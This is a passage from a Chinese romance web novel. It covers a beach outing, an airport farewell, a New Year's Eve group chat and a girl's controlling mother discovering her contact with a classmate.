嘴上说着很顺利,可手上拍打的动作却是一点也不轻松,姜挽没见过他这个样子,有点忍俊不禁:“没事,你要是觉得不舒服,临时想更换地方,也是可以的。反正现在时间还早,也没有其他人,全部行程都可以按照你的意愿。” 最后两下,陈屿拍得格外重:“不换,我今天主要就是来体验生活,感受当地特色的。” “那行,那我们走吧。” 第一站,先去赶海。之所以把时间选在上午,是因为上午的阳光不是很充足,也不会很晒,而且沿途还可以看到很多美景。 这里不像城南岛那么出名,所以人很少。人少,也就意味着安静。橙红的太阳挂在天边,照得海水有一股波光粼粼的翠色。海风一吹,浮光跃金,宛如一幅画卷。 姜挽走在前面,陈屿则是习惯性地在后面拿着相机各种拍,她一回头,眉眼处落着阳光,衬得眼睛大而明亮,像盛着整片海,陈屿几乎看呆了,趁她不注意,快速拍了一张。 “赶过海吗?”姜挽问。 “没有。”陈屿答。 “那我教你?” “好。” 他们没带专门的赶海工具,姜挽去旁边扯了两根树枝,做了个简易的。好在袋子是有的,一会儿要是运气好,能遇上好东西,也有地方可以放。 “这个给你,”姜挽把一根品相更好的树枝递给陈屿,主要是末端有个类似三角的形状,“要是遇到螃蟹了,你就这样按下去,”边说,她边演示给他看,“然后你再叫我,我马上就过来抓。” 陈屿有点怀疑:“这,能行吗?” “能行,你相信我,小时候没有工具我都是这样抓的,有时候还直接上手,你放心吧。” “好吧。”他虽不理解,但还是选择尊重。 其实带他来赶海,姜挽也有自己的私心,这片海域,她小时候经常来,承载了太多她美好的回忆,忍不住就想借着这个机会和他分享。 就这两天吧,她暗暗在心里给自己定期限,在他回北城之前,就让她再任性一次吧。 海边多礁石,常年经过海水的冲刷,表面十分光滑,所以走起路来要格外小心。也正是因为这海水冲刷的原因,经常会有一些“可爱的小生物”躲在下面。 照着多年的经验,姜挽带着陈屿边走边翻,可不知是因为他们运气不好,还是这片已经被其他人翻过来,一条路走完,也只捡到了几颗海螺,还是那种个头很小的猫眼螺。 没捡到东西,姜挽有些懊恼,还带着点尴尬,毕竟刚才她海口都夸下去了,正打算不服输地再来一遍,突然发现陈屿脚边的那颗岩石下有东西在动,定睛一看,原来是一只梭子蟹。 这可是他们今天遇到的第一只,姜挽简直心花怒放,连忙朝着陈屿打手势:“你先别动,你脚边有螃蟹,你一动它就跑了!” “哪儿呢?”陈屿根本没看到,且不说他根本没见过这里的螃蟹长什么样,就算见过,在当前这种水流混浊,礁石乱七八糟的情况下,他也不一定能认出来。 但忍不住好奇,悄悄抬了下脚,想换个姿势看看螃蟹到底在哪儿。可螃蟹可比他机灵多了,就是这一个动作便惊动了它,迅速蹬着腿往水里钻。 “哎呀,它要跑了!”见它要跑,姜挽立马拿树枝去按,可无奈螃蟹动作太快,又因为着急,两三下不仅没按住,反而脚下一滑,身体瞬间失去平衡…… 眼见着就要跌落水中,危机时刻,背后一双手把她揽进怀里,是陈屿。可惯性太大,又是在这种岩石上,陈屿接住她不过一秒,两人很快便再次跌入水面,只是他在下,她在上,陈屿几乎是用整个身体护住了她。 刹那间,水花四溅,衣服湿了大半,就连脸上都溅了不少水。 姜挽一时间有些没反应过来,还惦记着刚才的那只螃蟹,情急之下,她脱口而出:“都怪你,刚才叫你不要动了,你还是动,不然螃蟹也不会跑。” 吆喝,咋呼,埋怨,她这个样子,基本是完全在和陈屿甩脸子了,和北城时的那个她,完全不一样。 可陈屿心里却柔软得一塌糊涂,一手托着她,另一只手拂开她那被海水打湿,粘在脸上的头发,完全没反驳:“是,怪我,我不该动,我给你道歉。” 他这样,姜挽倒是一瞬间醒了神,意识到自己的骄横,也意识到了他还是个病人:“抱歉,我不是这个意思。” 说着,她就要挣扎着起来,动作太大,陈屿有点撑不住:“你先别动,先等我起来,不然一不小心衣服还得湿。” 姜挽垂下眼睛,没说话了。刚才着急的时候没注意到,这会儿冷静下来才发现,她几乎整个人都在他怀里,身上大部分的重量,也都是靠他的胳膊撑着。 两人离得如此近,肌肤相贴,体温相感,这次就算陈屿不说,她也不敢再动了。 很快,陈屿就从水里站起来,并把她也扶起来站在旁边的岩石上。 “衣服湿了。”姜挽说。 “没事,只有裤子。”陈屿看着她。 “我说的是你。” 陈屿这才朝自己身上看,因为他在下面,又为了撑住她,所以从裤子到上衣,基本大半身全湿了:“不碍事。” 他还惦记着刚才跑掉的那只螃蟹,坚持要给姜挽再抓一只:“既然刚才能看到螃蟹,就说明这里还是能抓到的,我们再看看。” 于是,在他的带领下,两人又沿着海岸线来来回回走了好几遍,可结果仍然是一无所获,只捡到了一根算不上大的海带。 湿湿的衣服黏在身上,再看着袋子里仅有的几颗螺,两人对视看着,刚开始还挺苦恼的,可没想到看着看着竟然不约而同地苦笑了起来。 看来今天是真的不适合赶海。 “你身上的衣服难受吗?”姜挽问。 “挺难受的。”陈屿没瞒她。 姜挽想了想:“你现在回酒店换的话太远了,要不回我家吧,我家离得近,回去让我奶奶帮你找找看有没有合适的,先换上。” 陈屿垂下眼睛看她,那眼底的目光说不清道不明,诧异,惊喜,甚至还带着几分紧张。 姜挽以为他是不愿意,忙开口:“当然,前提只你不嫌弃,你要是觉得不合适……” “合适,我没觉得不合适,”似乎怕她改变主意,陈屿当即抢白,“只是我今天没什么准备,就这样空手去的话,会不会不太好?要不要买点东西?这附近有超市吗?最好是那种卖人参燕窝的。” 姜挽没明白他的意思,疑惑地看向他。 陈屿还沉浸在自己的世界里:“没有吗?那保健品也行,再不济,牛奶和水果也是要的吧? 到这,姜挽才算理解他的意思,只觉得他这礼节想得也太周到了:“不用麻烦,什么都不用准备,我奶奶人很好的,就当是同学吃饭,她不会介意的。” “可是……” “没什么可是的,你再犹豫,一会儿身上的衣服该更难受了。” 到了家,姜奶奶正在忙,见姜挽带了人回来,虽然有些惊讶,但很热情。又听说陈屿是从北城来这里旅游的,而且还是姜挽的同学后,就更挪不开眼了,就想着和他多聊两句,了解了解北城,也多知道点自己孙女在那边生活的情况。 陈屿也和她很投缘,过来的路上,姜挽大概给他介绍了下她奶奶的情况,她爷爷很早就去世了,奶奶目前是一个人生活。 丈夫,儿子都去世了,如今孙女还不在自己身边,陈屿原本还担心老人家会有什么心理创伤,可这么一聊才发现,竟是一位如此乐观热情的老人。 见他们二人聊得投缘,姜挽也不好打断,可她身上的衣服实在难受,瞥一眼陈屿的,比她更湿,应该比她更难受。 “奶奶,”她过去挽姜奶奶的胳膊,“我俩刚才在海边不小心把衣服弄湿了,您能帮忙找一件衣服给他穿吗?” 她这一说,姜奶奶才注意到,上下打量了下陈屿的身高:“小陈,你多高呀?” “奶奶,我185。” 听他开口,姜挽抬头去看,以前只觉得他高,不知道具体数字。这么一算,185和168,高了快20厘米,难怪站在一起的时候,她经常会觉得有身高压力。 “185,”姜奶奶重复,有点犯难,“有倒是有,我前段时间刚买了一套,打算干活的时候穿,还是新的,没穿过,就是样式和料子……。” 她这么一说,姜挽便明白了,农村人经常干活,买衣服一般也都是挑宽松的买,而且男女款也分的没那么清楚,都能穿。只是这样式和布料可就没那么好了。 想想陈屿平时的吃穿用度,姜挽虽不认识牌子,但也能看出来那都是些贵衣服,她也拿不准,转向陈屿:“要不还是算了吧,我带你回酒店换吧。” “为什么?”陈屿一脸疑惑,好不容易来的,他不想回酒店,“是奶奶有什么不方便的地方吗?” “不是,”姜挽和他解释,“我奶奶说的衣服你可能没见过,款式和料子都不太好,你平时那么在意这些,我怕你穿不习惯。” 陈屿觉得冤枉:“我什么时候在意这些了?” 姜挽看着他,犹豫了会儿,还是开口:“难道没有吗?” 陈屿无奈,觉得她对自己有误解,转而面向姜奶奶:“奶奶,您别听她说,这里面有误会,我没那么多事儿。您愿意借给我,我就已经很感激了,哪里还有介意的道理。” 他这么说,姜奶奶松一口气:“行,那你在这等着,我去拿。” 衣服拿来,果然如姜奶奶所说,款式老旧,布料也差,像是市场上最低档次的那种粗麻布。 可陈屿却什么都没说,刚拿到手,便立马表示要去换。说来也怪,本来没有任何样式和版型的粗衫麻布,到了他身上,就立马显得不一样了。 虽说衣服的布料变不了,手脚处也有些短,可版型却意外得出彩,莫名透出一股简约随性风。 难道,这就是传说中的衣架子? 连姜奶奶也不得不感叹:“小陈穿上这个衣服别提多帅了,比我们村那些年轻人穿上都要好看。” 陈屿倒是不骄不躁的:“是您眼光好,一样的衣服,您选的就是比他们的好看。” 这句话,可把姜奶奶哄得高兴,当即便说要去做饭,让他们在这里吃午饭。 本来也就到饭点了,姜挽也没推脱,问过陈屿的意见后,便同意了。只不过,她顺嘴叮嘱了一句:“对了,奶奶,他对花生过敏,不能吃花生。” 陈屿一愣,没想到她记得这么清楚,而且还会专门提出来。 姜挽要去厨房帮忙,陈屿也想去,但厨房太小,容不下这么多人,而且他是客,所以姜挽拒绝了。 但陈屿再三要求,她也没办法,于是四周看了看,指了指不远处的那堆木柴:“要不这样,要是你有时间的话,帮忙劈点柴吧,一会儿可能用得上。” “好。” 一小时后,饭已经做好了,姜挽过来叫陈屿,看见眼前的场景,她被吓了一跳。这么点时间,原本堆在一起的木桩,已经被陈屿劈得差不多了,成品竟堆得有半人高。 “不是吧,这也太夸张了!” 听见声音,陈屿回过头,额角微微淌着汗,衣袖挽起,露出结实的小臂:“怎么了,是不是我弄错了?” “不是,我是说,你……你太有天赋了,”姜挽好奇,“你以前劈过柴吗?” “没有,这是第一次。” “第一次就劈这么好?” “开始前,我在网上搜了一下教程。” “好吧。”姜挽感叹,果然,聪明的人学什么都快。 “你看看这些够吗?要是不够的话,我一会儿再劈点。” “够了,够了。”简直就是太多了,要是让她奶奶知道,她安排陈屿劈了这么久的柴,还不得批评她啊。 她卸下他手里的斧子,放在地上:“走,先去吃饭。” 午饭还是当地的特色菜,少不了的海鲜和那道最出名的椰子鸡,基本算是他们这里待客的最高规格了,当然还有他们上午从海边捡回来的那根海带,和排骨一起,炖了一锅海带排骨汤。 期间,姜奶奶吃的不多,一直给他和姜挽夹菜,在得知陈屿马上就要回北城之后,还觉得很可惜,一再强调以后有机会要再来玩。 陈屿明白,他和姜奶奶萍水相逢,素昧平生,她能这么照顾他,除了因为她本身就是一个很好的人之外,还有很大一部分原因,是因为她在向他释放善意。 她在用她的方式,释放她最大的善意,而目的,无非就是希望陈屿在北城时能多照顾姜挽一点。 这是一个老人家,最朴实,也是最深层的心愿。 而这些,就算她不说,陈屿也会做的。 小锅煮着,烟气升着,在这缭绕的情谊里,陈屿轻轻开口:“您放心,在北城,我一定尽力照顾姜挽。” 这话,乍听起来没毛病,姜奶奶也很高兴,可听在姜挽的耳朵里,就是另一种感觉了。 他们现在的这段时光,本来就是镜花水月,梦幻泡影,是没办法长久的。 她清楚地知道,一回到北城,一切就都会变。所以,现在越美好,以后只会越痛苦。 她垂下眼睫,喝一口热热的排骨汤,眼睛和鼻腔被着热气熏的湿润,或许,也可能是其他的原因吧。 第42章 玩偶 后两天, 姜挽又带着陈屿在江城逛了逛,不过都是些人少僻静的郊区,他过敏好得差不多了,也是时候该回去了。 陈屿离开的那天, 姜挽送他到机场, 像以往送别任何一位旅客一样, 她向他表达了感谢, 感谢他在这几天的支持和配合, 也祝他一路平安, 旅途愉快。 陈屿当然听得出来这是官方的客套话,他其实有很多话想和她说,想问她, 这几天和他在一起, 除了工作之外, 有没有一点是发自内心的呢? 想问她, 和他在一起的这几天,觉得开心吗? 还想问, 是不是回北城之后, 一切就都要变了,他不能再和她说话, 两人又要回到那个冷冰冰的状态? 可千言万语汇成所有, 到最后也只有一句感谢,和“北城见”。 广播里开始播报航班登机的消息, 姜挽催促他:“开始登机了, 快去吧。” 陈屿点头,许是离别加重了他不安的情绪,也可能是知道这一趟回去后, 两人可能就不会再有现在这么亲近的画面了,所以,他总想抓住点什么,来缓解内心的慌张,来纪念这一段时间。 视线瞥见她背包上挂着的那个白色小猫玩偶,陈屿指了指,开口:“这个能不能送给我留作纪念?” 顺着他指的方向,姜挽去看,是她之前有一次逛街时在店里买的,当时她一眼就看中,觉得和小酒有点像。 将玩偶从背包上取下来,她递给他:“当然可以,这个本来也是旅行社发的,就是送给游客的小礼物。” 陈屿将玩偶装进口袋里,嘈杂的人群中,他只看得见她,对上她大而明亮的眼睛,发现里面有灯光,水光,还有他的倒影。 有些话,他真是控制不住,仿佛下一秒就要从喉咙里蹦出来。可这些话不能说,说了只会让她为难,让两人尴尬。正是因为知道如此,陈屿才不能说,而是选择做一些事。 长臂一伸,他轻轻将姜挽揽入怀里,说是揽,也不过是胳膊轻轻搭着,距离拉近了些,身体并没有接触。 姜挽完全没想到会这样,一瞬间愣住了,呆呆地站在原地,连呼吸仿佛都停止了。 轻轻的,耳边像是有气息划过,热热的,接着是一个略显哀伤的声音:“别怕,只是个告别,照顾好自己,再见。” 说完这句,陈屿便放开了她,推着行李,大步流星地离开了,自始至终,连头都没有回过一次。 看着他的背影,刚才那熟悉的气息似乎还萦绕在耳边,姜挽咽下情绪,小声开口:“再见。” 上了飞机,陈屿将玩偶从口袋里拿出来,小心翼翼地挂在自己的背包上,然后戴上耳机,一路睡回了北城。 来机场接机的是孟云程,一见面,便追着问他和姜挽这几天的发展情况如何,有没有突飞猛进,取得什么实质性的进展。 陈屿本来对这些事就没什么头绪,被他这么一提起,就更郁闷了:“恐怕要让你失望了。” 孟云程一听,果然当场开始数落他:“我说你到底行不行啊,连过敏这种理由都用上了,生命安全都置之度外了,还是不行?要我说啊,她可能压根就不喜欢你,要不还是算了吧,咱换个人,不受这罪了。” 这话陈屿可不爱听,一记冷眼扫过来,孟云程也知道自己出格了,忙又岔开话题:“这几天你都不知道我有多辛苦,既要瞒着我父母,还得瞒着你父母,我可是两边做工作,才把你这事瞒下来的。” 陈屿知道他的意思,这会儿两人已经来到停车场了,把行李放进去,他们同时坐进后排:“说吧,你想去哪里吃饭。” “嘿嘿,还是你了解我。”孟云程没和他说,而是直接和前排的司机报了一个地名。 车子在高架桥上行驶,透过车窗,望向窗外的风景,陈屿觉得感慨,又回到这里了,一个没有她的城市。 突然,身旁的孟云程再次开口:“对了,你过敏怎么样了?” 陈屿一愣,老实讲,这几天他根本没关注:“已经好了。” “那就好,”孟云程还想再说些什么,眼神注意到他挂在包上的那个小猫玩偶,觉得新奇,拿手颠了颠,“这是什么?” 陈屿立马将玩偶收起来,像是对待什么宝贝东西似的,不让他再碰:“没什么,旅行社送的小玩意。” “小玩意就小玩意,这么在意干嘛,难道是……” 陈屿垂着眼,不说话,孟云程看他也怪可怜的,叹一口气:“好吧,好吧,我不问了。” — — 陈屿离开后,姜挽的生活又恢复了以往的平静,每天除了兼职,陪奶奶,就是和沈曼通话,汇报她这一天的情况。 除了带游客时经常会想到陈屿,去一些地方,也会回想起和他之前在这里的回忆外,其他都算还好。 发工资那日,姜挽注意到拿到手的工资比一开始老板和她说的多了不少,她觉得疑惑,便给老板打了电话去询问。 老板告诉她,是奖励她出色工作的,有游客不仅在旅游期间对她的工作进行夸奖,还在结束后,特意给他们旅行社打了感谢电话,这些多出来的工资是按照公司的规定,是给她的奖金,是她应得的。 姜挽觉得惊讶,导游收到夸奖很正常,可这种离开了还专门打电话的,就很少了。 她想知道是哪位游客,可当她继续询问时,老板却不肯再透露,只说对方要求匿名,既然如此,姜挽也就没再问。 只是偶尔夜深人静的时候,她还是会想,那个人会是陈屿吗?她希望是他。 至少这样看来,他在江城的这段时间,过的也是开心的。 时间过得快,转眼间姜挽回江城已经二十天有余,眼见着临近除夕,沈曼便在电话那头催她回北城。 姜挽其实不想回,一来是因为她这段时间刚缓过来点,有点害怕再回到北城那种压抑的环境。二来,她也想陪奶奶过完这个年再走。 于是,她便和沈曼商量,沈曼一开始是不同意的,后来许是考虑到她这段时间表现不错,才有些松动。但最后促使她下定决心同意的,是姜挽必须答应她一个条件,回北城以后,姜挽必须什么事情都听她的。 姜挽想都没想便答应了,她其实无所谓的。反正在陈屿那件事上她都没有选择权,其他的就更不在乎了。 除夕当天,姜奶奶一早便起床忙碌,大扫除,贴对联,还有准备年夜饭,今年因为姜挽能留下来,她格外高兴,从早起,那笑声就没停过。 姜挽也高兴,陪着她收拾,两人从天亮忙到天黑,欢欢喜喜地吃完团圆饭后,又在客厅看着春晚守岁。 姜奶奶年纪大了,刚到十点便坚持不住,于是先去睡了。反倒是姜挽,平时容易困,今天却精气神十足。许是因为眼前的幸福太难得,她也不知道以后还会不会有这样的机会,所以才会格外珍惜。 电视里的节目其实并没多好看,看的就是一个气氛。正演到一个魔术环节,姜挽跟着紧张,旁边的手机突然响,而且还是那种一连好几个的微信提示音。 姜挽觉得纳闷,她朋友不多,尤伽和沈曼那边她也提前打过招呼了,所以一时还真有点想不起来谁会给她发微信了。 可手机还在响,她去厨房洗了手,回来打开之后,这才发现,是她们的那个四人群。之前尤伽建的,除她俩外,还有陈屿和孟云程。这会儿尤伽和孟云程正在群里吆喝,让大家赶紧出来嗨。 姜挽看着他俩来回的微信,一会儿一张年夜饭,一会儿又是一个表情包的,气氛别提多欢乐了。倒是她和陈屿,谁都没开口。 又过了一会儿,果然尤伽和孟云程也注意到了,于是便在群里@他们,让他俩出来发言。 姜挽先发了一个“新年快乐”的表情包,紧接着又发了一张烟花的照片,是刚才她拍的,角度不错,光影也很好。 她刚发完消息,陈屿便立马也冒了出来,但他没有像他们一样发一堆照片和表情包,而是直接甩了一个红包出来,利落又霸气。 群里立马掀起一个高潮,尤伽和孟云程边抢红包,边不停发着表情包喝彩。姜挽没抢,她本想在这热烈的氛围中悄悄隐身的,没想到,还是被尤伽揪出来了。 【呦呦,你快抢红包啊,沾沾喜气。】 孟云程也跟着:【是啊,快抢,抢了让陈屿再发,他家亲戚多,今天还不知道又拿了多少压岁钱呢。】 姜挽是不想抢的,可在这个节日,她更不想扫了大家的兴,于是还是点开了红包。 尤伽那边也能看到金额:【哇塞,360,呦呦你手气这么好,今年一定能发财!】 姜挽也没想到竟然是这么大的数额,她原本还以为一个红包的限额200,三个人抢的话,再怎么着应该可不会很多,可现在看来,微信系统应该也是紧跟节日,把今天的红包限额调高了。 她刚想说点什么,没想到群里接二连三的又来了好几个红包,都是陈屿发的,陈屿什么话都不说,就是一个劲地闷头发。 连孟云程也忍不住怀疑:【你小子不会喝醉了吧?】 【没有。】陈屿回的很快。 【那就是今天压岁钱领得太多了,】孟云程给他发了一排大拇指,【就喜欢你这样的朋友。】 当然,他和尤伽领了红包后偶尔也会发两个,但还是和陈屿发的不能比。姜挽看着他们的对话,偶尔会接一两句,但红包,她没再抢。 消息很多,几乎到了刷屏的程度,在这眼花缭乱中,她突然收到了一条陈屿单独发过来的消息,是刚才她发的那张烟花照片,他转发过来了。 【烟花很漂亮。】 【新年快乐。】 他说。 这是陈屿回北城后,她和他的第一次聊天。和刚才在群里的感觉完全不一样,没了尤伽和孟云程插科打诨,气氛瞬间就不一样了。 姜挽其实也有好多话和他说,想问他今天过得怎么样,也想知道之前那个感谢电话到底是不是他打的,可她还是忍住了,既然是没办法改变的事情,就不应该再去招惹人家。 【新年快乐。】她回,而后把手机锁了屏,放在一旁,没再看。 第43章 发现 尽管不愿意, 可回北城的那一天还是很快来临。离开前,奶奶给姜挽装了满满几大包特产,她觉得太多了,想留下来些。奶奶却坚持, 和她解释说, 等到了北城, 给她舅舅舅妈带一份, 再给同学分一分, 基本也就没有了。 姜挽知道她舅舅和舅妈是不会要的, 可也没现场和奶奶说,怕她老人家担心。 “嗯,我知道了, 我会带给他们的, 您快回去吧。” “不急, 我看着你进去了再走。” 姜挽知道她奶奶的性格, 所以也就没再坚持:“好,那我进去了, 到了和您说。” “快进去吧, ”姜奶奶红着眼眶,和她叮嘱, “在北城要听妈妈的话, 好好学习。” “我知道,您放心吧, ”姜挽也想哭, 但她忍住了,“您多注意身体,我有时间就回来看您。” “别担心我, 快走吧。” 人群拥挤,姜挽随着人流走,渐渐的,奶奶的身影变得模糊,到后来成为一个小黑点,再到最后完全看不见了。 到了北城,沈曼在车站等她,见面第一句话就是问功课,担心她兼职影响学业,也害怕她回老家就放松了警惕。 “没有,作业我都做完了,预习也做了,你放心吧。”姜挽搬着行李箱,和她一起上公交车,这些都是她兼职之余抽空完成的。 沈曼一听,这才放松下来,过来帮她一起提箱子,却发现非常重:“箱子里都装了什么,这么重,我记得回去的时候没有这么重呀?” “奶奶帮忙准备的特产,让我给舅舅和舅妈一份,其他的分给同学。” 听到是这些,沈曼的表情有些不自然:“舅舅舅妈就不用了,他们过年也囤了不少东西,冰箱放不下。至于同学,就更没必要了,你这从江城带来的,他们肯定也吃不惯。这些,还是留着自己吃吧。” 这不是根本原因,姜挽知道,可她也没追问,默默点了点头,应承了下来。 回到家,她舅舅舅妈和外婆都不在,听说是一起出去旅游了。沈曼进厨房围上围裙,问她晚上想吃什么。 姜挽正在整理箱子,顺手拿起奶奶给她带的特产:“这个文昌鸡可以吗,奶奶已经做好了,加热一下就能吃。” 闻言,沈曼皱眉,她像是很抗拒,但又不想表现得太明显,匆匆一瞥,迅速扭头:“这东西吃了这么多天还没腻吗,今天不吃了,我给你做点新鲜的。” 被拒绝,姜挽也有点尴尬,但转念一想,是她处理不当了。她妈妈本来就不喜欢江城,以前在她面前连名字都不能提,这次同意她回去,也是她求了好久才有的结果。可同意她回去,并不代表着她就能接受这个地方了。 姜挽回过头,垂眸继续收拾东西:“好的,那你做,什么都可以,我马上收拾完就过去帮忙。” 沈曼做的是北城菜,两菜一汤,看得出也是花了心思的。姜挽提前把碗筷摆好,又拿出她寒假挣的工资,等沈曼从厨房出来,递给她:“妈妈,这是我这个假期挣的钱,除掉车票和吃饭的钱,剩余全部在这了。” 沈曼愣了下,没接。 姜挽继续开口:“这钱你收起来,下学期学费和生活费不够的话,就用这些补上。” 沈曼不想要,她虽称不上是一个十分合格的好妈妈,可也是一门心思为了姜挽好。只是心里装了太多事,有时候情绪上来,所言所语,连她自己都控制不了。 “我不要,你自己留着,买点自己喜欢的东西,学费和生活费我会安排好。” 姜挽也很坚持:“妈妈,我知道我们现在是什么情况,我也想替你分担。” 什么情况,捉襟见肘,寄人篱下的情况。 沈曼也知道,姜挽其实说的是有道理的。她如今干着一份工资不高的会计工作,满足两人日常生活尚且吃力,就更别说还要为以后姜挽上大学存钱了。 僵持了会儿,沈曼最终还是伸手接过钱,随即迅速转身,可颤抖的声音还是暴露了她此刻的情绪:“好,那我先帮你收着。” 姜挽终于松了一口气:“好。” 因着这个插曲,她们前半段吃饭的氛围很好,本来两人也长时间未见,所以家长里短的话题聊起来,气氛倒是还算融洽。 可当聊到姜挽这段时间在江城的生活,涉及到她的隐私时,沈曼便又再次显现出她那强烈控制欲的一面了,一定要清楚地知道各种细节,甚至连她和谁有过联系这种事,也要事无巨细地确认。 在问到是否和陈屿联系过时,姜挽稍稍愣了一下,也是她这一愣,让沈曼当场变了脸色,摔下筷子,各种大声斥责她不听话。 前后转变如此之大,姜挽也有点接受不了,更何况她刚才还什么都没说,只不过犹豫了一下而已,她总觉得沈曼这些反应已经有点超出正常人的情绪变化了。 很小的一件事就能暴躁,一秒钟之内情绪就能起伏,而且今天还有了“摔东西”的动作,这些都让她觉得奇怪。 可她毕竟也只是一个小女孩,做不了决定,也改变不了任何,在意识到沈曼的情绪越来越激动,下一秒可能就会彻底爆发前,她还是违心地撒了谎,不敢和她继续对峙:“我没和他联系过。” 到此,沈曼的情绪这才算缓下来:“没有最好,你就应该以学习为重,其他什么都不要想,尤其是这些会影响你的人和事,更应该远离。” “嗯,我知道了。”姜挽不敢不应声,她垂眸装作喝汤的样子,长睫的阴影落下来,将心里那些无奈和悲痛也全都掩了去。 — — 转眼间,姜挽回北城已两周有余,学校也已经开学了。这里的天气和江城还真是不一样,每天不是飘雪就是落雨,半个月了,她几乎都没见着一次太阳。 天闷着,人也闷着,像是有什么大事来临前的那种闷,暗沉无光,惶惶地看不见天日。 今日大雨,沈曼仍然坚持在公交站台接她,路上雨势渐大,雨伞并不能全面遮挡,姜挽的衣服湿了一大半。到家,沈曼让她先去洗澡,她则在外面帮她检查功课。 说是检查功课,其实也是借机查看她的东西,越是临近高考,她就越是谨慎,对姜挽也管得越来越严,不希望出一点岔子。 东西大概翻了一遍,没什么特别的,沈曼刚想松一口气,放在桌面的手机突然响,是姜挽的。她看一眼,是江慧心打来的电话,这是那个人的妈妈,只是看到这个名字,沈曼都觉得难受。 可如今正是姜挽复习的关键时期,沈曼不想她被打扰,况且这也不是江慧心第一次打来电话了,她不想这样的事情再继续发生。 皱着眉,她接通电话,先开口:“是我,沈曼,你找呦呦有什么事?” 在江慧心面前,她真是一点也不隐藏,单刀直入,冷言冷语,甚至连一个假意的礼貌也不愿意有。 听到她的声音,电话那头的江慧心也有些吃惊,自从那件事后,这还是她头一次和沈曼单独对话,她有点紧张,甚至还带着些许卑微:“呦呦不在吗?” “她在洗澡,你有什么事直接和我说吧。” “也好,其实也不是什么大事,就是寒假的时候她落了两件衣服在我这,我想问她还需不需要,需要的话,我就给她寄回去。” “不用了,她衣服很多,不差这一两件。”沈曼一口回绝,然后追加道,“既然你也知道这不是什么大事,况且呦呦现在很忙,以后这种事情你就不要再打扰她了。” 被这样对待,江慧心也没生气,反而依旧好脾气地讨好沈曼:“我知道了,我以后不会了,只要呦呦好就行。” “她当然会好,”也不知哪句话刺激到了沈曼,她突然尖酸刻薄起来,“你放心,她跟着我,我就算自己不吃不喝也不会亏待她的。” “我不是这个意思……” 江慧心想解释,却被沈曼打断:“我不在乎你什么意思,我只在乎呦呦。之前我之所以能同意她回去看你,是不想看她伤心,至于其他的,你不要想。” “我知道,我也没有要干涉你们的意思,”江慧心叹一口气,“我知道那件事情是承安对不住你,你受了委屈,我……” 听到这个名字,沈曼瞬间像是被踩了尾巴的猫,立马反击:“不要在我面前提这个名字!”她深吸一口气,胸腔里起起伏伏的全是恨意,“那件事你不知情,所以我也不会怪你,呦呦要是想回去看你,我也不会阻拦,但其他的,你什么都不要想。” 其他的,江慧心也不敢奢望:“你放心,我也没有别的想法,只要呦呦好就行。” 长长的沉默,电话两端皆是沉默,一个是愧疚,一个是恨意。 沈曼不想再多说:“你还有其他的事吗?没有我挂了。” “等一下,”听她要挂,江慧心忙开口,关于姜挽的她可以不问,但涉及到她同学的,她觉得还是得问一下,“麻烦你帮忙问下呦呦,她那个同学的帽子也落在这里了,还需不需要再给他寄回去?” “同学,什么同学?”沈曼警觉起来。 江慧心不知道北城的这些事,还以为沈曼是和她一样希望姜挽多交朋友,便耐心和她解释,把姜挽在江城兼职碰上同学,并带他回家吃饭的事,全和她说了。 沈曼几乎是按着心口听完:“她那个同学,叫什么名字?” “陈屿,”江慧心记得清楚,“我看那小伙子人不错,带特产的时候就让呦呦也给他一份,希望她在那边能多交些朋友,有人照顾。” 话说完,没听到沈曼的回答,她便意识到自己又管多了,没敢说太多,便主动挂断了电话。 沈曼这头,直到电话里传来一阵忙音,她也没把手机放下,仍旧保持着接听电话的动作,只不过脸色已经非常差了。 她完全没想到姜挽竟然寒假还和那个男孩在一起,而且还瞒着她! 恰巧,姜挽洗完澡从浴室出来,见沈曼拿着她的手机,当下便觉不好,她尝试开口:“妈妈,你怎么……” 话说一半,她突然顿住,是因为沈曼这会儿已经转过身来,那张脸上的表情,姜挽以前从未见过,而且她觉得,她一辈子也再不会忘记了。 愤怒,怨恨,还有狂躁,原本白皙优雅的五官被冲得发红,硬生生变成了一个她从未见过的陌生人。 “你竟然骗我?” 第44章 诀别 “妈妈, 我……” 她不过才说了几个字,便立马被沈曼呵斥住:“你给我闭嘴!” 接着是一本书朝她飞来,姜挽躲闪不及,纸张划过她的额角, 一阵疼痛, 应该是破了的, 她想, 可姜挽这会儿却来不及去看, 因为比这更令她害怕的, 是沈曼此刻的行为。 书本,试卷,还有姜挽的书包, 所有出现在书桌上的东西, 全部都被她扔在了地上。她在发怒, 甚至是发狂, 这种场景姜挽以前也见到过几次,但没有一次像今天这么严重。 “妈妈, 你怎么了?到底发生了什么?”姜挽靠近, 想去安慰她,却被沈曼一把搡开, 接着便是歇斯底里的质问, 句句都扎在姜挽的心尖。 “你竟然骗我,绕这么大一圈来骗我?要不是你奶奶刚才给你打电话, 我还被蒙在鼓里呢。你和那个叫陈屿的还真是情比金坚, 都回江城了,还要偷偷见面,好, 很好!” 到这,姜挽才真正明白她今天这怒气到底是因何而来了,她尝试解释:“我们是见面了,但不是你想的那样,他是去旅游,我们无意间碰上的。” “姜挽,这话你信吗?”她甚至都不愿意再叫她小名,“你到底有没有把我的话放在心上?有没有把你舅舅的工作放在心上?” “我有,当然有!”姜挽也委屈,要是没有的话,她就不会被迫和陈屿分开,也不用天天体会锥心的滋味,时常夜不能寐了。 可沈曼不听她说这些,她情绪上头,已经红了眼,根本没办法控制自己:“都这个时候了,你还不承认,还想骗我!”很突然的,她开始冷笑,随即拿起姜挽的手机,点开微信和通讯录,“那我就把你这些联系人全删了,看你们还怎么联系!” 姜挽看着她,只默默流泪,不敢上前。沈曼现在这个样子明显已经崩溃了,她怕再刺激到她。 删吧,她想,反正也不会有结局,早删早解脱罢了。 可删完了,沈曼似乎还不解气,竟然开始说要给她转学,让她离开八中,离开北城。 听到这个,姜挽是真的怕了,转学就意味着她再也没办法见到陈屿,再也不会和他有任何交集。 让她不联系他也好,不和他讲话也罢,这些姜挽都能接受。因为即便不说话,可只要去了学校,她就还能见到他,还可以默默关注他。可一旦转学,就真的什么都没有了。 带着一股无妄的幻想,她尝试恳求沈曼:“妈妈,能不能不转学,我保证以后什么都听你的,再不惹你生气了。” 隔着一段距离,沈曼和她对视,那眼神冷寂得可怕,里头像是有一块冰,而她接下来说出口的话,更是瞬间让姜挽犹如坠入无边冰窖。 “不行,这事没得商量,我明天就去学校给你办。” 姜挽彻底慌了,也顾不得许多,脱口而出:“你不能这么做,这是我的人生,你没有权利这么做!” 沈曼和她顶:“我是你妈妈,我当然有权利这么做!” 